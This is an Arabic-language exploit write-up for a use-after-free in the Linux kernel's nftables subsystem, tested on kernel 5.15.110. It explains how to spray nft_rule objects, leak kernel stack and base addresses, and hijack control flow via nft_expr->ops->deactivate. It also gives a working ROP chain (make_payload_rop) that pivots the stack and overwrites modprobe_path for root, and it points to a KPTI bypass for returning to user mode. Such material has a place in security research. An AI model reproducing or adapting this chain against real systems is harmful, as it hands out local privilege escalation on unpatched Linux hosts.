
نظرًا لغياب ال patch في إصدارات النواة الأقدم (<5.16)، يتعذر استخدام حقل consumed في بنية nft_quota لكتابة/قراءة عناوين الذاكرة، لذلك تم التفكير في استخدام أسلوب ROP لتصعيد الامتيازات. يستخدم EXP الخاص بـ google أسلوب NFT_MSG_DELRULE+NFT_MSG_DELSET لتشغيل UAF، لكن في الاختبار الفعلي تبيّن أن السكربت ينهار مباشرة في nf_table_commit->list_del_rcu.
تم اختبار هذا الـ EXP على الإصدار v5.15.110
من خلال دمج الـ EXPين، يتم رش بنية nft_rule، وتسريب عنوان مكدس النواة عبر list_head، وتسريب عنوان النواة عبر nft_expr->ops، واختطاف تدفق التحكم عبر nft_expr->ops->deactivate.
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
لتسهيل تصعيد الامتيازات، تم اعتماد طريقة exp1 القائمة على modprobe_path مباشرةً، والـ ROP المُجهز كما يلي.
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
أولًا، تنفذ النواة حتى data[5]، حيث يحفظ rax عنوان بداية الكتلة (&data[0])، ويتم استخدام push rax; pop rsp; ret; لإكمال ترحيل المكدس، مما يؤدي حتمًا إلى تلف المكدس (لا يمكن لاحقًا العودة بشكل طبيعي إلى وضع المستخدم؛ إذا كنت بحاجة إلى تصعيد الامتيازات إلى وضع المستخدم يمكن بناء كتلة أكبر (>0x80) بالرجوع إلى make_payload_rop2 في الـ EXP، واستخدام swapgs_restore_regs_and_return_to_usermode لتجاوز kpti والعودة إلى وضع المستخدم).
بما أن nft_rule المزيفة تحتوي على 0x18 بايت من البيانات الوصفية (بشكل أساسي 8 بايتات عند الإزاحة 0x10)، يلزم استخدام pop لتخطي هذه العناوين، وبعدها يصبح الأمر حرًا، فقط استخدم بعض الـ gadgets القصيرة لتعديل modprobe_path.